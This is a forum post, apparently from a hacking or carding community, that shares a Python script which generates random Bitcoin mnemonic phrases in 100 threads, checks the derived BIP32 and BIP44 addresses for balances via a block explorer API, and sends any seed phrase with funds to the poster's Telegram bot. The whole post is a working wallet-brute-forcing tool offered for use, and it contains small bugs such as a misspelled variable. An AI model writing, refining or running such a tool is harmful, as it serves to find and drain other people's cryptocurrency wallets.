Python | generator mnemonic phrase [BTC]

Impossible

Newbie
Joined
10 Mar 2021
Messages
13
Reaction score
15
Points
3
Generate mnemonic BIP32 BIP44.
Check wallet balance.
Sending found wallets in a telegram. (11 line - bot token)​

Python:
import requests
import telebot
from bipwallet import wallet
from bipwallet.utils import *
from threading import Thread



class MyThread(Thread):
    def run(self):
        bot = telebot.TeleBot('bot token');
        headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36'}
        i = 1;
        while True:
            i += 1
            words = wallet.generate_mnemonic()
            master_key = HDPrivateKey.master_key_from_mnemonic(words)
            root_keys32 = HDKey.from_path(master_key, "m/0")[-1].public_key.to_b58check()
            root_keys44 = HDKey.from_path(master_key, "m/44'/0'/0'/0")[-1].public_key.to_b58check()
            BIP32 = Wallet.deserialize(root_keys32, network='BTC').get_child(0, is_prime=False).to_address()           
            BIP44 = Wallet.deserialize(root_keys44, network='BTC').get_child(0, is_prime=False).to_address()           
            try:
                x = requests.get(f'https://chain.api.btc.com/v3/address/{BIP32}', headers=headers)
                yoga = x.json()
                data = yoga['data']
                BIP32Balance = data['received']   
            except:   
                BIP32Balance = 0
            try:   
                x = requests.get(f'https://chain.api.btc.com/v3/address/{BIP44}', headers=headers)
                yoga = x.json()
                data = yoga['data']
                BIP44Balance = data['received']   
            except:
                Bip44Balance = 0               
                
            if (BIP32Balance != 0) or (BIP44Balance != 0):
                bot.send_message(Ваш ID чата, '12 words: "'+words+'"\nBIP32 Balance: "'+str(BIP32Balance)+'"\nBIP44 Balance: "'+str(BIP44Balance)+'"');
            print(i)   
    

for i in range(100):
    b = MyThread()
    b.start()
 
  • Like
Reactions: babyc4arder